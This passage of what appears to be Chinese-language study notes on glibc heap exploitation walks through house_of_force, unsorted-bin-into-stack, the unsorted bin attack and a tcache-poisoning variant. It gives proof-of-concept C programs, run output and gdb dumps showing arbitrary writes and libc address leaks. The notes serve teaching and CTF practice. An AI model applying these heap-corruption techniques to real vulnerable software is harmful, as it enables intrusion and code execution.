0x6020b0:    0x4141414141414141    0x0000000000000091  &amp;lt;-- chunk 3
0x6020c0:    0x4141414141414141    0x4141414141414141
0x6020d0:    0x4141414141414141    0x4141414141414141
0x6020e0:    0x4141414141414141    0x4141414141414141
0x6020f0:    0x4141414141414141    0x4141414141414141
0x602100:    0x4141414141414141    0x4141414141414141
0x602110:    0x4141414141414141    0x4141414141414141
0x602120:    0x4141414141414141    0x4141414141414141
0x602130:    0x4141414141414141    0x4141414141414141
0x602140:    0x4141414141414141    0x0000000000000091  &amp;lt;-- chunk 4 [be freed]
0x602150:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      &amp;lt;-- fd, bk pointer
0x602160:    0x4141414141414141    0x4141414141414141
0x602170:    0x4141414141414141    0x4141414141414141
0x602180:    0x4141414141414141    0x4141414141414141
0x602190:    0x4141414141414141    0x4141414141414141
0x6021a0:    0x4141414141414141    0x4141414141414141
0x6021b0:    0x4141414141414141    0x4141414141414141
0x6021c0:    0x4141414141414141    0x4141414141414141
0x6021d0:    0x0000000000000090    0x0000000000000020  &amp;lt;-- chunk 5 &amp;lt;-- prev_size
0x6021e0:    0x4141414141414141    0x4141414141414141
0x6021f0:    0x4141414141414141    0x0000000000020e11  &amp;lt;-- top chunk
0x602200:    0x0000000000000000    0x0000000000000000
0x602210:    0x0000000000000000    0x0000000000000000
0x602220:    0x0000000000000000    0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena &apos;main_arena&apos; ]
[+] unsorted_bins[0]: fw=0x602140, bk=0x602140
 →   Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;free chunk 4 被放入 unsorted bin，大小为 0x90。&lt;/p&gt;
&lt;p&gt;接下来是最关键的一步，利用 chunk 1 的溢出漏洞，将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和，即 0x90+0x90+0x1=0x121，最后的 1 是标志位。这样当我们释放 chunk 2 的时候，malloc 根据这个被修改的 size 值，会以为 chunk 2 加上 chunk 3 的区域都是要释放的，然后就错误地修改了 chunk 5 的 prev_size。接着，它发现紧邻的一块 chunk 4 也是 free 状态，就把它俩合并在了一起，组成一个大 free chunk，放进 unsorted bin 中。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/70gx 0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk 1
0x602010:    0x4141414141414141    0x4141414141414141
0x602020:    0x4141414141414141    0x00000000000001b1  &amp;lt;-- chunk 2 [be freed] &amp;lt;-- unsorted bin
0x602030:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      &amp;lt;-- fd, bk pointer
0x602040:    0x4141414141414141    0x4141414141414141
0x602050:    0x4141414141414141    0x4141414141414141
0x602060:    0x4141414141414141    0x4141414141414141
0x602070:    0x4141414141414141    0x4141414141414141
0x602080:    0x4141414141414141    0x4141414141414141
0x602090:    0x4141414141414141    0x4141414141414141
0x6020a0:    0x4141414141414141    0x4141414141414141
0x6020b0:    0x4141414141414141    0x0000000000000091  &amp;lt;-- chunk 3
0x6020c0:    0x4141414141414141    0x4141414141414141
0x6020d0:    0x4141414141414141    0x4141414141414141
0x6020e0:    0x4141414141414141    0x4141414141414141
0x6020f0:    0x4141414141414141    0x4141414141414141
0x602100:    0x4141414141414141    0x4141414141414141
0x602110:    0x4141414141414141    0x4141414141414141
0x602120:    0x4141414141414141    0x4141414141414141
0x602130:    0x4141414141414141    0x4141414141414141
0x602140:    0x4141414141414141    0x0000000000000091  &amp;lt;-- chunk 4 [be freed]
0x602150:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
0x602160:    0x4141414141414141    0x4141414141414141
0x602170:    0x4141414141414141    0x4141414141414141
0x602180:    0x4141414141414141    0x4141414141414141
0x602190:    0x4141414141414141    0x4141414141414141
0x6021a0:    0x4141414141414141    0x4141414141414141
0x6021b0:    0x4141414141414141    0x4141414141414141
0x6021c0:    0x4141414141414141    0x4141414141414141
0x6021d0:    0x00000000000001b0    0x0000000000000020  &amp;lt;-- chunk 5 &amp;lt;-- prev_size
0x6021e0:    0x4141414141414141    0x4141414141414141
0x6021f0:    0x4141414141414141    0x0000000000020e11  &amp;lt;-- top chunk
0x602200:    0x0000000000000000    0x0000000000000000
0x602210:    0x0000000000000000    0x0000000000000000
0x602220:    0x0000000000000000    0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena &apos;main_arena&apos; ]
[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
 →   Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在 unsorted bin 里的 chunk 的大小为 0x1b0，即 0x90*3。咦，所以 chunk 3 虽然是使用状态，但也被强行算在了 free chunk 的空间里了。&lt;/p&gt;
&lt;p&gt;最后，如果我们分配一块大小为 0x1b0-0x10 的大空间，返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了，结果就像上面运行时打印出来的一样。&lt;/p&gt;
&lt;h3&gt;house_of_force&lt;/h3&gt;
&lt;p&gt;在&lt;code&gt;glibc 2.23&lt;/code&gt;下，通过控制&lt;code&gt;top chunk&lt;/code&gt;的&lt;code&gt;size&lt;/code&gt;域为一个特别大的值，导致可以通过&lt;code&gt;malloc&lt;/code&gt;特别大的值或者负数来将&lt;code&gt;top chunk&lt;/code&gt;的指针指向任意位置。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;malloc.h&amp;gt;

char bss_var[] = &quot;This is a string that we want to overwrite.&quot;;

int main() {
    fprintf(stderr, &quot;We will overwrite a variable at %p\n\n&quot;, bss_var);

    intptr_t *p1 = malloc(0x10);
    int real_size = malloc_usable_size(p1);
    memset(p1, &apos;A&apos;, real_size);
    fprintf(stderr, &quot;Let&apos;s allocate the first chunk of 0x10 bytes: %p.\n&quot;, p1);
    fprintf(stderr, &quot;Real size of our allocated chunk is 0x%x.\n\n&quot;, real_size);

    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
    fprintf(stderr, &quot;Overwriting the top chunk size with a big value so the malloc will never call mmap.\n&quot;);
    fprintf(stderr, &quot;Old size of top chunk: %#llx\n&quot;, *((unsigned long long int *)ptr_top));
    ptr_top[0] = -1;
    fprintf(stderr, &quot;New size of top chunk: %#llx\n&quot;, *((unsigned long long int *)ptr_top));

    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
    fprintf(stderr, &quot;\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n&quot;, bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    int real_size_new = malloc_usable_size(new_ptr);
    memset((char *)new_ptr + real_size_new - 0x20, &apos;A&apos;, 0x20);
    fprintf(stderr, &quot;As expected, the new pointer is at the same place as the old top chunk: %p\n&quot;, new_ptr);

    void* ctr_chunk = malloc(0x30);
    fprintf(stderr, &quot;malloc(0x30) =&amp;gt; %p!\n&quot;, ctr_chunk);
    fprintf(stderr, &quot;\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n&quot;);

    fprintf(stderr, &quot;old string: %s\n&quot;, bss_var);
    strcpy(ctr_chunk, &quot;YEAH!!!&quot;);
    fprintf(stderr, &quot;new string: %s\n&quot;, bss_var);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g house_of_force.c
$ ./a.out
We will overwrite a variable at 0x601080

Let&apos;s allocate the first chunk of 0x10 bytes: 0x824010.
Real size of our allocated chunk is 0x18.

Overwriting the top chunk size with a big value so the malloc will never call mmap.
Old size of top chunk: 0x20fe1
New size of top chunk: 0xffffffffffffffff

The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x824030
malloc(0x30) =&amp;gt; 0x601080!

Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
old string: This is a string that we want to overwrite.
new string: YEAH!!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们知道在空闲内存的最高处，必然存在一块空闲的 chunk，即 top chunk，当 bins 和 fast bins 都不能满足分配需要的时候，malloc 会从 top chunk 中分出一块内存给用户。&lt;/p&gt;
&lt;p&gt;当存在堆溢出漏洞时，可以改写 top chunk 的头部，然后将其改为一个非常大的值（0xffffffffffffffff 即 -1），以确保所有的 malloc 将使用 top chunk 分配，而不会调用 mmap。这时如果攻击者 malloc 一个很大的数目（负有符号整数），top chunk 的位置加上这个大数，造成整数溢出，结果是 top chunk 能够被转移到堆之前的内存地址（如程序的 .bss 段、.data 段、GOT 表等），下次再执行 malloc 时，攻击者就能够控制转移之后地址处的内存。&lt;/p&gt;
&lt;p&gt;在计算机中，地址是无符号整数。利用整数溢出，如果我们加一个非常大的数，效果等同于减去一个数，从而让指针“回绕”到低地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;目标地址：bss_var (0x601080)
Top Chunk：0x824028
计算结果：0xffffffffffddd048
当malloc(0xffffffffffddd048)时，通过地址溢出计算，新的chunk起始地址便在0x601080处
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先随意分配一个 chunk，此时内存里存在两个 chunk，即 chunk 1 和 top chunk：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/8gx 0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk 1
0x602010:    0x4141414141414141    0x4141414141414141
0x602020:    0x4141414141414141    0x0000000000020fe1  &amp;lt;-- top chunk
0x602030:    0x0000000000000000    0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;chunk 1 真实可用的内存有 0x18 字节。&lt;/p&gt;
&lt;p&gt;假设 chunk 1 存在溢出，利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数：-1&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/8gx 0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk 1
0x602010:    0x4141414141414141    0x4141414141414141
0x602020:    0x4141414141414141    0xffffffffffffffff  &amp;lt;-- modified top chunk
0x602030:    0x0000000000000000    0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改写之后的 size==0xffffffffffffffff&lt;/p&gt;
&lt;p&gt;现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk，使得该 chunk 刚好分配到我们想要控制的那块区域为止，这样的话，topchunk就被我们修改到目标区域了，在下一次 malloc 时，就可以返回到我们想要控制的区域了。计算方法是用&lt;strong&gt;目标地址减去 top chunk 地址，再减去 chunk 头的大小&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/8gx 0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000021
0x602010:    0x4141414141414141    0x4141414141414141
0x602020:    0x4141414141414141    0xfffffffffffff051
0x602030:    0x0000000000000000    0x0000000000000000
gef➤  x/12gx 0x602010+0xfffffffffffff050
0x601060:    0x4141414141414141    0x4141414141414141
0x601070:    0x4141414141414141    0x0000000000000fa9  &amp;lt;-- top chunk
0x601080 &amp;lt;bss_var&amp;gt;:    0x2073692073696854    0x676e697274732061  &amp;lt;-- target
0x601090 &amp;lt;bss_var+16&amp;gt;:    0x6577207461687420    0x6f7420746e617720
0x6010a0 &amp;lt;bss_var+32&amp;gt;:    0x6972777265766f20    0x00000000002e6574
0x6010b0:    0x0000000000000000    0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次 malloc，将目标地址包含进来即可，现在我们就成功控制了目标内存：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/12gx 0x602010+0xfffffffffffff050
0x601060:    0x4141414141414141    0x4141414141414141
0x601070:    0x4141414141414141    0x0000000000000041  &amp;lt;-- chunk 2
0x601080 &amp;lt;bss_var&amp;gt;:    0x2073692073696854    0x676e697274732061  &amp;lt;-- target
0x601090 &amp;lt;bss_var+16&amp;gt;:    0x6577207461687420    0x6f7420746e617720
0x6010a0 &amp;lt;bss_var+32&amp;gt;:    0x6972777265766f20    0x00000000002e6574
0x6010b0:    0x0000000000000000    0x0000000000000f69  &amp;lt;-- top chunk
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;unsorted_bin_into_stack&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main() {
    unsigned long stack_buf[4] = {0};

    unsigned long *victim  = malloc(0x80);
    unsigned long *p1 = malloc(0x10);
    fprintf(stderr, &quot;Allocating the victim chunk at %p\n&quot;, victim);

    // deal with tcache
    // int *k[10], i;
    // for (i = 0; i &amp;lt; 7; i++) {
    //     k[i] = malloc(0x80);
    // }
    // for (i = 0; i &amp;lt; 7; i++) {
    //     free(k[i]);
    // }

    free(victim);
    fprintf(stderr, &quot;Freeing the chunk, it will be inserted in the unsorted bin\n\n&quot;);

    stack_buf[1] = 0x100 + 0x10;
    stack_buf[3] = (unsigned long)stack_buf;        // or any other writable address
    fprintf(stderr, &quot;Create a fake chunk on the stack\n&quot;);
    fprintf(stderr, &quot;fake-&amp;gt;size: %p\n&quot;, (void *)stack_buf[1]);
    fprintf(stderr, &quot;fake-&amp;gt;bk: %p\n\n&quot;, (void *)stack_buf[3]);

    victim[1] = (unsigned long)stack_buf;
    fprintf(stderr, &quot;Now we overwrite the victim-&amp;gt;bk pointer to stack: %p\n\n&quot;, stack_buf);

    fprintf(stderr, &quot;Malloc a chunk which size is 0x110 will return the region of our fake chunk: %p\n&quot;, &amp;amp;stack_buf[2]);

    unsigned long *fake = malloc(0x100);
    fprintf(stderr, &quot;malloc(0x100): %p\n&quot;, fake);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g unsorted_bin_into_stack.c
$ ./a.out
Allocating the victim chunk at 0x17a1010
Freeing the chunk, it will be inserted in the unsorted bin

Create a fake chunk on the stack
fake-&amp;gt;size: 0x110
fake-&amp;gt;bk: 0x7fffcd906480

Now we overwrite the victim-&amp;gt;bk pointer to stack: 0x7fffcd906480

Malloc a chunk which size is 0x110 will return the region of our fake chunk: 0x7fffcd906490
malloc(0x100): 0x7fffcd906490
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址，从而在栈上 malloc 出 chunk。&lt;/p&gt;
&lt;p&gt;首先将一个 chunk 放入 unsorted bin，并且在栈上伪造一个 chunk：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gdb-peda$ x/6gx victim - 2
0x602000:    0x0000000000000000    0x0000000000000091  &amp;lt;-- victim chunk
0x602010:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
0x602020:    0x0000000000000000    0x0000000000000000
gdb-peda$ x/4gx stack_buf
0x7fffffffdbc0:    0x0000000000000000    0x0000000000000110  &amp;lt;-- fake chunk
0x7fffffffdbd0:    0x0000000000000000    0x00007fffffffdbc0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后假设有一个漏洞，可以改写 victim chunk 的 bk 指针，那么将其改为指向 fake chunk：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gdb-peda$ x/6gx victim - 2
0x602000:    0x0000000000000000    0x0000000000000091  &amp;lt;-- victim chunk
0x602010:    0x00007ffff7dd1b78    0x00007fffffffdbc0    &amp;lt;-- bk pointer
0x602020:    0x0000000000000000    0x0000000000000000
gdb-peda$ x/4gx stack_buf
0x7fffffffdbc0:    0x0000000000000000    0x0000000000000110  &amp;lt;-- fake chunk
0x7fffffffdbd0:    0x0000000000000000    0x00007fffffffdbc0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候，malloc 会顺着 bk 指针进行遍历，于是就找到了大小正好合适的 fake chunk：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gdb-peda$ x/6gx victim - 2
0x602000:    0x0000000000000000    0x0000000000000091  &amp;lt;-- victim chunk
0x602010:    0x00007ffff7dd1bf8    0x00007ffff7dd1bf8
0x602020:    0x0000000000000000    0x0000000000000000
gdb-peda$ x/4gx fake - 2
0x7fffffffdbc0:    0x0000000000000000    0x0000000000000110  &amp;lt;-- fake chunk
0x7fffffffdbd0:    0x00007ffff7dd1b78    0x00007fffffffdbc0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fake chunk 被取出，而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了，这是 unsorted bin 的地址，通过它可以泄露 libc 地址&lt;/p&gt;
&lt;p&gt;而在libc 2.27中，我们应该伪造fake chunk的bk指向自己，因为libc 2.27添加的Tcache机制会尝试将 Unsorted Bin 中所有同大小的 chunk 都“捞”出来，填满 Tcache，直到 Tcache 满或者 Unsorted Bin 遍历完，只有填满后，才会把最后一个取出来的 chunk 返回给用户。&lt;/p&gt;
&lt;p&gt;因此我们将fake chunk的bk指向自己，Tcache会将fake chunk循环填满自己&lt;/p&gt;
&lt;h3&gt;unsorted_bin_attack&lt;/h3&gt;
&lt;h4&gt;leak&lt;/h4&gt;
&lt;p&gt;首先关于unsorted bin的leak，我们以拥有两个chunk的unsorted bin为例：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/figure/gdb-debug-state.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以看到，在该链表中必有一个节点（不准确的说，是尾节点，这个就意会一下把，毕竟循环链表实际上没有头尾）的 &lt;code&gt;fd&lt;/code&gt; 指针会指向 &lt;code&gt;main_arena&lt;/code&gt; 结构体内部，通过main_arena可以泄露libc，同时如果有多个chunk，则可以泄露出heap地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;main_arena_offset = ELF(&quot;libc.so.6&quot;).symbols[&quot;__malloc_hook&quot;] + 0x10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/figure/unsorted_bin_attack_order.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main() {
    unsigned long stack_var = 0;
    fprintf(stderr, &quot;The target we want to rewrite on stack: %p -&amp;gt; %ld\n\n&quot;, &amp;amp;stack_var, stack_var);

    unsigned long *p  = malloc(0x80);
    unsigned long *p1 = malloc(0x10);
    fprintf(stderr, &quot;Now, we allocate first small chunk on the heap at: %p\n&quot;,p);

    free(p);
    fprintf(stderr, &quot;We free the first chunk now. Its bk pointer point to %p\n&quot;, (void*)p[1]);

    p[1] = (unsigned long)(&amp;amp;stack_var - 2);
    fprintf(stderr, &quot;We write it with the target address-0x10: %p\n\n&quot;, (void*)p[1]);

    malloc(0x80);
    fprintf(stderr, &quot;Let&apos;s malloc again to get the chunk we just free: %p -&amp;gt; %p\n&quot;, &amp;amp;stack_var, (void*)stack_var);

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g unsorted_bin_attack.c
$ ./a.out
The target we want to rewrite on stack: 0x7ffc9b1d61b0 -&amp;gt; 0

Now, we allocate first small chunk on the heap at: 0x1066010
We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
We write it with the target address-0x10: 0x7ffc9b1d61a0

Let&apos;s malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -&amp;gt; 0x7f2404cf5b78
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;unsorted bin 攻击通常是为更进一步的攻击做准备的，我们知道 unsorted bin 是一个双向链表，在分配时会通过 unlink 操作将 chunk 从链表中移除，所以如果能够控制 unsorted bin chunk 的 bk 指针，就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中，从而导致信息泄漏，为进一步的攻击提供便利。&lt;/p&gt;
&lt;p&gt;unlink 的对 unsorted bin 的操作是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;          /* remove from unsorted list */
          unsorted_chunks (av)-&amp;gt;bk = bck;
          bck-&amp;gt;fd = unsorted_chunks (av);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;bck = victim-&amp;gt;bk&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;攻击点就在第 2 步：&lt;code&gt;bck-&amp;gt;fd = unsorted_chunks(av);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果我们能控制 &lt;code&gt;victim-&amp;gt;bk&lt;/code&gt;（即 &lt;code&gt;bck&lt;/code&gt;），我们就能让 &lt;code&gt;bck-&amp;gt;fd&lt;/code&gt; 指向任意地址。 glibc 会把 &lt;code&gt;unsorted_chunks(av)&lt;/code&gt; 的地址（一个很大的 libc 地址）写到 &lt;code&gt;bck-&amp;gt;fd&lt;/code&gt; 所在的位置。&lt;/p&gt;
&lt;p&gt;首先分配两个 chunk，然后释放掉第一个，它将被加入到 unsorted bin 中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/26gx 0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000091  &amp;lt;-- chunk 1 [be freed]
0x602010:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      &amp;lt;-- fd, bk pointer
0x602020:    0x0000000000000000    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000000
0x602060:    0x0000000000000000    0x0000000000000000
0x602070:    0x0000000000000000    0x0000000000000000
0x602080:    0x0000000000000000    0x0000000000000000
0x602090:    0x0000000000000090    0x0000000000000020  &amp;lt;-- chunk 2
0x6020a0:    0x0000000000000000    0x0000000000000000
0x6020b0:    0x0000000000000000    0x0000000000020f51  &amp;lt;-- top chunk
0x6020c0:    0x0000000000000000    0x0000000000000000
gef➤  x/4gx &amp;amp;stack_var-2
0x7fffffffdc50:    0x00007fffffffdd60    0x0000000000400712
0x7fffffffdc60:    0x0000000000000000    0x0000000000602010
gef➤  heap bins unsorted
[ Unsorted Bin for arena &apos;main_arena&apos; ]
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后假设存在一个溢出漏洞，可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2，也就相当于是在目标地址处有一个 fake free chunk，然后 malloc：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/26gx 0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000091  &amp;lt;-- chunk 3
0x602010:    0x00007ffff7dd1b78    0x00007fffffffdc50
0x602020:    0x0000000000000000    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000000
0x602060:    0x0000000000000000    0x0000000000000000
0x602070:    0x0000000000000000    0x0000000000000000
0x602080:    0x0000000000000000    0x0000000000000000
0x602090:    0x0000000000000090    0x0000000000000021  &amp;lt;-- chunk 2
0x6020a0:    0x0000000000000000    0x0000000000000000
0x6020b0:    0x0000000000000000    0x0000000000020f51  &amp;lt;-- top chunk
0x6020c0:    0x0000000000000000    0x0000000000000000
gef➤  x/4gx &amp;amp;stack_var-2
0x7fffffffdc50:    0x00007fffffffdc80    0x0000000000400756  &amp;lt;-- fake chunk
0x7fffffffdc60:    0x00007ffff7dd1b78    0x0000000000602010      &amp;lt;-- fd-&amp;gt;TAIL,目标地址已经被修改为unsorted bin头部地址
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从而泄漏了 unsorted bin 的头部地址。&lt;/p&gt;
&lt;h4&gt;libc 2.27&lt;/h4&gt;
&lt;p&gt;利用tcache posioning&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main() {
    unsigned long stack_var = 0;
    fprintf(stderr, &quot;The target we want to rewrite on stack: %p -&amp;gt; %ld\n\n&quot;, &amp;amp;stack_var, stack_var);

    unsigned long *p = malloc(0x80);
    unsigned long *p1 = malloc(0x10);
    fprintf(stderr, &quot;Now, we allocate first small chunk on the heap at: %p\n&quot;,p);

    free(p);
    fprintf(stderr, &quot;Freed the first chunk to put it in a tcache bin\n&quot;);

    p[0] = (unsigned long)(&amp;amp;stack_var);
    fprintf(stderr, &quot;Overwrite the next ptr with the target address\n&quot;);
    malloc(0x80);
    malloc(0x80);
    fprintf(stderr, &quot;Now we malloc twice to make tcache struct&apos;s counts &apos;0xff&apos;\n\n&quot;);

    free(p);
    fprintf(stderr, &quot;Now free again to put it in unsorted bin\n&quot;);
    p[1] = (unsigned long)(&amp;amp;stack_var - 2);
    fprintf(stderr, &quot;Now write its bk ptr with the target address-0x10: %p\n\n&quot;, (void*)p[1]);

    malloc(0x80);
    fprintf(stderr, &quot;Finally malloc again to get the chunk at target address: %p -&amp;gt; %p\n&quot;, &amp;amp;stack_var, (void*)stack_var);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g tcache_unsorted_bin_attack.c
$ ./a.out
The target we want to rewrite on stack: 0x7ffef0884c10 -&amp;gt; 0

Now, we allocate first small chunk on the heap at: 0x564866907260
Freed the first chunk to put it in a tcache bin
Overwrite the next ptr with the target address
Now we malloc twice to make tcache struct&apos;s counts &apos;0xff&apos;

Now free again to put it in unsorted bin
Now write its bk ptr with the target address-0x10: 0x7ffef0884c00

Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -&amp;gt; 0x7f69ba1d8ca0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tcache Bin 未满 (Count &amp;lt; 7)时，当 &lt;code&gt;malloc&lt;/code&gt; 从 Unsorted Bin 拿到 chunk 时，它会尝试把 Unsorted Bin 里剩下的同大小 chunk 全部填充进 Tcache。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;后果&lt;/strong&gt;：由于我们修改了 &lt;code&gt;bk&lt;/code&gt; 指针指向栈上的 &lt;code&gt;target_addr&lt;/code&gt;，glibc 会尝试把 &lt;code&gt;target_addr&lt;/code&gt; 当作一个 chunk 放入 Tcache。这会触发 chunk 大小检查（&lt;code&gt;chunksize(victim)&lt;/code&gt;），因为栈上的数据通常不符合 chunk 头部的格式，导致程序崩溃（&lt;code&gt;memory corruption&lt;/code&gt;）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;      while ((victim = unsorted_chunks (av)-&amp;gt;bk) != unsorted_chunks (av))
        {
          bck = victim-&amp;gt;bk;
          if (__builtin_expect (chunksize_nomask (victim) &amp;lt;= 2 * SIZE_SZ, 0)
              || __builtin_expect (chunksize_nomask (victim)
                   &amp;gt; av-&amp;gt;system_mem, 0))
            malloc_printerr (&quot;malloc(): memory corruption&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tcache Bin 不为空：如果对应的 Tcache Bin 里有东西，&lt;code&gt;malloc&lt;/code&gt; 会直接从 Tcache 取出并在开头返回，根本不会执行到 Unsorted Bin 的逻辑。&lt;/p&gt;
&lt;p&gt;后果：无法触发 Unsorted Bin 的 Unlink 操作，攻击失效。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if (tc_idx &amp;lt; mp_.tcache_bins
      /*&amp;amp;&amp;amp; tc_idx &amp;lt; TCACHE_MAX_BINS*/ /* to appease gcc */
      &amp;amp;&amp;amp; tcache
      &amp;amp;&amp;amp; tcache-&amp;gt;entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为了绕过这个矛盾检查，我们采取通过tcache poisoning的方式将tcache的count修改为0xff&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;free(p);        // 1. p 进入 tcache, count = 1
p[0] = &amp;amp;stack;  // 2. 修改 p-&amp;gt;next 指向栈 (Tcache Poisoning)
malloc(0x80);   // 3. 取出 p, count = 0
malloc(0x80);   // 4. 取出 stack, count = -1 (即 0xff 或 0xffff) !!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时在进行到下面这里时就会进入 else 分支，直接取出 chunk 并返回：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#if USE_TCACHE
          /* Fill cache first, return to user only if cache fills.
         We may return one of these chunks later.  */
          if (tcache_nb
          &amp;amp;&amp;amp; tcache-&amp;gt;counts[tc_idx] &amp;lt; mp_.tcache_count)
        {
          tcache_put (victim, tc_idx);
          return_cached = 1;
          continue;
        }
          else
        {
#endif
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是就成功泄露出了 unsorted bin 的头部地址。&lt;/p&gt;
&lt;h3&gt;house_of_einherjar&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
